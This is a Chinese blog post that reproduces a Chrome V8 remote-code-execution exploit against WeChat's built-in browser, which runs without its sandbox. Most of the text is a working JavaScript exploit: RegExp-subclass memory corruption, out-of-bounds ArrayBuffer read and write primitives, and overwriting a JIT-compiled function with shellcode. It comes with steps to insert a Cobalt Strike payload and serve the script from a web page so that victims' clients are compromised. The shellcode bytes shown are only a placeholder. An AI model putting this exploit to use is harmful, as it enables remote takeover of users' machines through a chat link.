微信默认浏览器存在Chrome V8引擎RCE漏洞复现

须知少时凌云志,曾许人间第一流


蛮好玩的,写个文章记录一下,原理还是利用的Chrome V8引擎的RCE,但是因为微信默认的是关闭沙盒,所以可以利用

新版微信使用系统默认浏览器打开url,但是 mp.weixin.qq.com 公众号子域默认还是使用微信内置浏览器打开,但新版升级了CEF,即使绕过了使用微信自带浏览器打开链接,也无法触发漏洞上线

CobaltStrike生成32位C#木马,复制里面的内容放到js的shellcode函数里面,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
ENABLE_LOG = true;
IN_WORKER = true;

// run calc and hang in a loop
var shellcode = [0xfc, 0xe8,0x20, 0x36, 0x2e, 0x31, 0x29, 0x20, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x57, 0x65, 0x62, 0x4b, 0x69, 0x74, 0x2f, 0x35, 0x33, 0x37, 0x2e, 0x33, 0x36, 0x20, 0x28, 0x4b, 0x48, 0x54, 0x4d, 0x4c, 0x2c, 0x20, 0x6c];

function print(data) {
}


var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
target_function(i);
}


var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}

function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}

function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;

this.page_buffer = null;
this.page_view = null;

this.prevent_opt = [];

var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;

class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}

this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);

new RegExp({ toString: function () { return 'a' } });
cb(true);

class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point, the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
}, 'g'
// now the runtime JSRegExp constructor is called, corrupting the
// JSArray.
);

// this allocation will now directly follow the FixedArray allocation
// made for `this.data`, which is where `array.elements` points to.
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}

// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}

class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}

return DerivedN;
})`);

gc();


new (derived_n(tDerivedNDepth))();

this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
}

this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
}

this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}

this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}

this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}

this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
return this;
}

function trigger() {
var oob = oobAccess();

var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' + func_ptr.toString(16));

var kCodeInsOffset = 0x1b;

var code_addr = oob.read32(func_ptr + kCodeInsOffset);
print('[*] code_addr at 0x' + code_addr.toString(16));

oob.setBytes(code_addr, shellcode);

target_function(0);
}

try{
print("start running");
trigger();
}catch(e){
print(e);
}

然后再把这个js脚本加载到html页面里,微信内置浏览器访问页面即可触发